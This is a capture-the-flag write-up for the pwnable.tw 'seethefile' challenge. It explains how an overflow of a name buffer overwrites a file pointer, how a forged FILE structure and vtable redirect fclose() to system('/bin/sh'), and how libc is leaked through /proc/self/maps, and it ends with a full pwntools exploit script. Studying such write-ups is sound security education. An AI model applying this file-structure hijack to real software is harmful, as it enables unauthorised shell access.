Seethefile
How this program works Link to heading
We start with a simple menu with 5 options. This is what that looks like:
---------------MENU---------------
1. Open
2. Read
3. Write to screen
4. Close
5. Exit
----------------------------------
Your choice :
Okay this looks like a simple file reader. Looks like you can read any file in the filesystem and print it to the screen with open/read/write. Opening it up in Ghidra shows that my prediction was mostly correct. Here’s the pseudo-code generated by Ghidra for the openfile() function:
int openfile(void)
{
int iVar1;
char *pcVar2;
if (fp == 0x0) {
memset(magicbuf,0,400);
printf("What do you want to see :");
__isoc99_scanf(&DAT_08048c03,filename);
pcVar2 = strstr(filename,"flag");
if (pcVar2 != 0x0) {
puts("Danger !");
/* WARNING: Subroutine does not return */
exit(0);
}
fp = fopen(filename,"r");
if (fp == 0x0) {
iVar1 = puts("Open failed");
}
else {
iVar1 = puts("Open Successful");
}
}
else {
puts("You need to close the file first");
iVar1 = 0;
}
return iVar1;
}
Looks like we can’t just open the “flag” file for reading. We’ll have to find another way around it.
After playing with the program for a bit, I found a few primitives that proved useful. We have buffer overflows all over the place, but the main one we want to look at is when we call exit. This is what happens when you pick the 5th option:
printf("Leave your name :");
scanf(%s,name);
printf("Thank you %s ,see you next time\n",name);
if (fp != 0x0) {
fclose(fp);
Observing the location of “name” in memory shows that it’s placed convieniently
right before the file pointer variable that is suppose to hold the file pointer
for the file that was opened. Looks like we can overwrite the file pointer! Ok…
What can we do with that? Well after it grabs your name, it calls fclose()
on
that file pointer. Within that function, there are references to the FILE *
structure that the fp
variable points to. Within that vtable, there are pointers
called _IO_file_jumps
. These pointers are used by fclose()
in order to
properly close the file. This is what the file structure looks like:
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
This is just the _IO_FILE
struct which is only part of what we car about.
We need to look at the struct that’s used for file streams: _IO_FILE_plus
.
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
This Is the struct we care about because what we want to utilize are the pointers
in the _IO_jump_t
vtable. This table holds the pointers that the fclose()
function calls in its execution. In this case we also need to take a look at the
vtable to understand what we need to do when we create our fake one.
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
Looks like this! Okay so we have a few functions that might get called during
the fclose()
function. The one we care about though is the _IO_finish_t
. This
gets called after releasing the lock in the fclose()
function, so that’s we can
overwrite with something malicious. We need to check some boxes though before we
can just make that vtable:
- Create a valid pointer at
&fp
- Make that pointer point to the buffer we control
- Place 0xFFFFDFFF in that location to skip the
_IO_IS_FILEBUF
conditional and skip the file lock functions. - Send the program somewhere.
The Exploit Link to heading
Okay So there’s a lot of stuff to do here. This is how I created the payload.
I started by leaking libc by reading a file on the file system /proc/self/maps
.
This file contains the addresses of different memory sections of the program.
p.recvuntil(b"Your choice :") # Skip menu
p_open(p, b"/proc/self/maps") # Open the file
p_read(p) # Read first 400 bytes
p_read(p) # Read next 400 bytes because first 400 was not enough
stuff = p_write(p)
x = stuff[1][0:8] # Pull the libc address
libc_start = int(x,16) # Convert to int
We can run this on the remote server to get the address of _LIBC_start_main
.
Then it’s just putting all these concepts together into a full payload.
libc.address = libc_start # Set libc address in pwntools
system = libc.symbols['system'] # Find system()
name = elf.symbols['name'] # Find my buffer
file = elf.symbols['filename'] # Grab a section of empty memory
payload = p32(0xFFFFDFFF) # Begin payload with filebuf pass.
payload += b';/bin/sh;' # Something for system() to actually call
payload += b"A"*(32-len(payload)) # Random chars to fill space from the struct
payload += p32(name) # Overwrite &fp with our buffer
payload += b'`' # name pointer sometimes breaks w/o this
payload += b"B"*(72-len(payload)) # filling space in the file struct
payload += p32(file+0x20) # Point this to NULL val (gets dereferenced)
payload += p32(name+0x48) # This is the pointer to the vtable
payload += p32(system) # Create the _IO_finish_t function
p_exit(p, payload) # Send the payload as we exit.
So what this essentially does is create multiple structures in memory. We have
the function pointer &fp
which passes all the checks. Then we have the *vtable
which holds our system()
pointer. fclose()
in libc calls with &fp
as a
parameter. This is why we have ;/bin/sh;
after our null value. System will try
to call the first value. When it fails, it will continue on to the next agument.
Here’s my full script for reference:
#!/usr/bin/env python3
from pwn import *
elf = ELF("./seethefile_patched")
libc = ELF("./libc_32.so.6")
ld = ELF("./ld-2.23.so")
context.terminal = ['tmux', 'splitw', '-h']
context.binary = elf
debug_script = '''
b fclose
'''
def conn():
if not args.REMOTE:
p = process([elf.path])
if args.D:
gdb.attach(p, gdbscript=debug_script)
else:
p = remote("chall.pwnable.tw", 10200)
return p
def p_exit(p, name):
p.sendline(b"5")
p.recvuntil(b"Leave your name :")
p.sendline(name)
p.interactive()
p.recvuntil(b"see you next time\n")
def p_open(p, filename):
p.sendline(b"1")
p.recvuntil(b"What do you want to see :")
p.sendline(filename)
p.recvuntil(b"Your choice :")
def p_read(p):
p.sendline(b"2")
p.recvuntil(b"Your choice :")
def p_write(p):
p.sendline(b"3")
return p.recvuntil(b"Your choice :").split(b'\n')
def p_close(p):
p.sendline(b"4")
p.recvuntil(b"Your choice :")
def main():
p = conn()
print(p.recvuntil(b"Your choice :"))
p_open(p, b"/proc/self/maps")
p_read(p)
p_read(p)
stuff = p_write(p)
x = stuff[1][0:8]
libc_start = int(x,16)
print("Libc: {}".format(hex(libc_start)))
libc.address = libc_start
system = libc.symbols['system']
name = elf.symbols['name']
file = elf.symbols['filename']
payload = p32(0xFFFFDFFF)
payload += b';/bin/sh;'
payload += b"A"*(32-len(payload))
payload += p32(name)
payload += b'`'
payload += b"B"*(72-len(payload))
payload += p32(file+0x20)
payload += p32(name+0x48)
payload += p32(system)
p_exit(p, payload)
p.interactive()
if __name__ == "__main__":
main()